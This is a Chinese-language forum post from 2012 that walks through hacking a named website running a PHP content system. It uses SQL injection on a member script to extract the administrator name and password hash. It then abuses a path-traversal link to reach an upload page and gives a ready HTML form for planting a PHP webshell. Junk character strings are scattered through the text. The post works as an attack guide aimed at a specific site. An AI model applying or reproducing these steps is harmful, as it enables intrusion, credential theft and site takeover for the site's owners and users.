①注入漏洞。
0 D; q/ R6 P2 U9 Q9 V0 D这站 http://www.political-security.com/& K$ l/ q9 B9 I* q% i) J
首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，
2 W3 v' J$ J. a7 Ewww.political-security.com/data/mysql_error_trace.inc 爆后台5 t7 L# H; `, g8 K1 A
然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。* c) ~- i# |2 E% q" ]0 x; K- A3 v
然后写上语句 3 d/ K0 p3 h a# L* X/ Z
查看管理员帐号
# ~/ _* d o( A6 V" mhttp://www.political-security.co ... &membergroup=@`! t0 }" y$ B, d0 L
; r# U: X; H6 k* `# |9 U3 `
admin 9 l- i( i& m, [
$ F" S) F! L% a$ n3 W6 P, |# Z查看管理员密码
6 }" k; |. H Q% p http://www.political-security.co ... &membergroup=@`
F* q1 y+ {0 z
, d8 g x0 ~- M* [8d29b1ef9f8c5a5af4292 }& J) F% g7 z- q4 c: D
# D$ w9 K& d' I查看管理员密码. Z* f0 R& O; {2 M z5 k2 b
- v' }# C. ]; G7 ~
得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5
% t; f% x* `3 m$ R( a
0 q D1 c5 S8 ~8d2 k( G7 Z$ ?% q3 O
9b1ef9f8c5a5af42
3 ^6 d) P1 {$ R$ I) j9
0 @0 D. Y7 V }2 X3 S1 J% P
0 s1 ?' X4 E& T* M6 S3 M; n' @cmd5没解出来 只好测试第二个方法) q5 H4 R" u2 F5 K% H1 c
" w+ G: r6 k' _% Y4 n5 j( E; d3 h# g( k+ X1 B7 S0 K
②上传漏洞：
4 n/ m* ^# o8 f& ?3 _7 V7 j( C/ h" c/ M
只要登陆会员中心，然后访问页面链接
& h/ @! K# P3 u" l/ p3 h. x“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”& j6 W3 U: |) L- G7 G
' Y5 z. L& e A& n% }* A& V如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”$ Y2 E) B7 e) _# G- E; M
+ ]4 Y- d. L: L3 ]1 W
于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm- w, t! O( R5 K9 U( d% J
/ C# M, |# j, Q# o. f' N ?: b9 _
<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br> K4 t, R4 E% N. D% _5 D
或者
! d+ K0 K) j" M7 z4 k即可上传成功 |
发表于 2012-9-13 10:56:59
收藏
支持
反对